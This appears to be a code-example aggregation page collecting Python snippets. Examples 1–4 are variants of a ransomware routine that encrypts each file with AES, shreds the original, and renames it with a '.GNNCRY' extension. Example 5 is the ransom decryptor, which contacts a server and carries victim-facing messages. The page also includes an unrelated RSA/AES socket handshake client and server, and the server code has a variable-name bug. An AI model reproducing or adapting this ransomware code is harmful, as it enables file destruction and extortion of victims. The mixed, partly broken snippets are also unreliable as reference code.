コード例 #1
0
def start_encryption(files):
    AES_and_base64_path = []
    for found_file in files:
        key = generate_keys.generate_key(128, True)
        AES_obj = symmetric.AESCipher(key)
        
        found_file = base64.b64decode(found_file)

        try:
            with open(found_file, 'rb') as f:
                file_content = f.read()
        except:
            continue

        encrypted = AES_obj.encrypt(file_content)
        utils.shred(found_file)

        new_file_name = found_file.decode('utf-8') + ".GNNCRY"
        with open(new_file_name, 'wb') as f:
            f.write(encrypted)

        base64_new_file_name = base64.b64encode(new_file_name)

        AES_and_base64_path.append((key, base64_new_file_name))
    return AES_and_base64_path
コード例 #2
0
def start_encryption(files):
    if (not files):
        return None

    AES_and_base64_path = []
    for found_file in files:
        key = generate_keys.generate_key(128, True)
        AES_obj = symmetric.AESCipher(key)

        found_file = base64.b64decode(found_file)
        with open(found_file, 'rb') as f:
            file_content = f.read()

        encrypted = AES_obj.encrypt(file_content)
        shred(found_file)

        new_file_name = found_file + ".GNNCRY"
        with open(new_file_name, 'wb') as f:
            f.write(encrypted)

        base64_new_file_name = base64.b64encode(new_file_name)

        # list of tuples of AES_key and base64(path)
        AES_and_base64_path.append((key, base64_new_file_name))

    return AES_and_base64_path
コード例 #3
0
def start_encryption(files):
    AES_and_base64_path = []
    for found_file in files:
        key = generate_keys.generate_key(128, True)
        AES_obj = symmetric.AESCipher(key)

        # found_file = base64.b64decode(found_file)

        # try open the file to encrypt it
        try:
            with open(found_file, 'rb') as f:
                file_content = f.read()
        except:
            continue

        encrypted = AES_obj.encrypt(file_content)
        # destroyed found_file. That is, replace it with random chars.
        shred(found_file)

        # append the encrypted one at the end.
        new_file_name = found_file + ".GNNCRY".encode()
        with open(new_file_name, 'wb') as f:
            f.write(encrypted)

        base64_new_file_name = base64.b64encode(new_file_name)

        # list of tuples of AES_key and base64(path)
        AES_and_base64_path.append((key, base64_new_file_name))

    return AES_and_base64_path
コード例 #4
0
def start_encryption(files):
    if (not files):
        return None

    for found_file in files:
        key = generate_keys.generate_key(128, True)
        AES_obj = symmetric.AESCipher(key)

        found_file = base64.b64decode(found_file)
        with open(found_file, 'rb') as f:
            file_content = f.read()

        encrypted = AES_obj.encrypt(file_content)
        utils.shred(found_file)

        new_file_name = found_file + ".GNNCRY"
        with open(new_file_name, 'wb') as f:
            f.write(encrypted)

        yield (key, base64.b64encode(new_file_name))
コード例 #5
0
def menu():
    print("{}Importing the encrypted client private key".format(WHITE))
    try:
        with open(ransomware_path + '/encrypted_client_private_key.key',
                  'rb') as f:
            encrypted_client_private_key = pickle.load(f)
    except IOError:
        print(
            "encrypted client private key not found, I'm sorry. but all your files are lost!"
        )
        sys.exit(-1)

    print("{}OK{}".format(GREEN, WHITE))

    key_to_be_sent = base64.b64encode(str(encrypted_client_private_key))

    # send to server to be decrypted
    while True:
        try:
            print("Requesting to server to decrypt the private key")
            client_private_key = send_to_server_encrypted_private_key(
                machine_id, key_to_be_sent)
            break
        except:
            print(
                "{}No connection, sleeping for 2 minutes\nConnect to internet to get your files back!{}"
                .format(RED, WHITE))
            time.sleep(120)

    # saving to disk the private key
    print("{}Client private key decrypted and stored to disk{}".format(
        GREEN, WHITE))
    with open(ransomware_path + "/client_private_key.PEM", 'wb') as f:
        f.write(client_private_key)

    # GET THE AES KEYS and path
    try:
        with open(ransomware_path + "/AES_encrypted_keys.txt") as f:
            content = f.read()
    except IOError:
        print("AES keys not found. Sorry but all your files are lost!")
        sys.exit(-1)

    # get the aes keys and IV's and paths back
    print('Decrypting the files ...')
    content = content.split('\n')
    content.remove('')
    aes_and_path = []
    for line in content:
        ret = line.split(' ')  # enc(KEY) base64(PATH)
        encrypted_aes_key = base64.b64decode(ret[0])
        aes_key = decrypt_aes_keys(encrypted_aes_key, client_private_key)

        aes_and_path.append((aes_key, base64.b64decode(ret[1])))

    for _ in aes_and_path:
        dec = symmetric.AESCipher(_[0])

        with open(_[1], 'rb') as f:
            encrypted_file_content = f.read()

        # decrypt content
        decrypted_file_content = dec.decrypt(encrypted_file_content)

        # save into new file without .GNNCRY extension
        old_file_name = _[1].replace(".GNNCRY", "")
        with open(old_file_name, 'w') as f:
            f.write(decrypted_file_content)

        # delete old encrypted file
        shred(_[1])

    # end of decryptor
    print("{}Decryption finished!{}".format(GREEN, WHITE))

    # kill deamon running on bg
    kill_daemon()
コード例 #6
0
ファイル: client.py プロジェクト: FrankRays/NetManagement
import socket
import symmetric
import Asymmetric
s = socket.socket()
host = socket.gethostname()
port = 15823
s.connect((host, port))
print s.recv(1024)
servers_rsa_public_key_exported = s.recv(2048)
servers_rsa_public_key = Asymmetric.import_key(servers_rsa_public_key_exported)
servers_rsa = Asymmetric.RSAkey1(servers_rsa_public_key)
clients_rsa = Asymmetric.RSAkey0()
clients_private_rsa_exported = clients_rsa.export_private()
clients_private_rsa_exported_encrypted = servers_rsa.encrypt_data(clients_private_rsa_exported)
print type(clients_private_rsa_exported_encrypted)
s.send(clients_private_rsa_exported_encrypted)
symmetric_key = "mychiper"
client_symmetric = symmetric.AESCipher(symmetric_key)
clients_symmetric_key_encryptedd = clients_rsa.encrypt_data(symmetric_key)
clients_symmetric_key_encrypted = servers_rsa.encrypt_data(clients_symmetric_key_encryptedd)
s.send(clients_symmetric_key_encrypted)
encryptd_confirmation_message = s.recv(1024)
confirmation_message = client_symmetric.decrypt(encryptd_confirmation_message)
if confirmation_message == "hand shake completed":
    print "connection to manager succssed"


s.close
コード例 #7
0
ファイル: server.py プロジェクト: FrankRays/NetManagement
import socket
import symmetric
import Asymmetric

listenersock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listenersock.bind(("0.0.0.0", 15823))
listenersock.listen(-1)
while True:
    c, addr = listenersock.accept()  # Establish connection with client.
    c.send('Hello')
    servers_rsa = Asymmetric.RSAkey0()
    c.send(servers_rsa.export_public())
    clients_private_rsa_exported_encryped = c.recv(2048)
    clients_private_rsa_exported = servers_rsa.decrypt_data(
        clients_private_rsa_exported_encryped)
    clients_private_rsa = Asymmetric.import_key(clients_private_rsa_exported)
    clients_public_rsa = Asymmetric.generate_public(clients_private_rsa)
    clients_rsa = Asymmetric.RSAkey2(clients_private_rsa, clients_public_rsa)
    clients_symmetric_key_encryptedd = c.recv(2048)
    clients_symmetric_key_encrypted = servers_rsa.decrypt_data(
        clients_symmetric_key_encrypted)
    clients_symmetric_key = clients_rsa.decrypt_data(
        clients_symmetric_key_encrypted)
    clients_symmetric_cipher = symmetric.AESCipher(clients_symmetric_key)
    c.send(clients_symmetric_cipher.encrypt("hand shake completed"))
    c.close()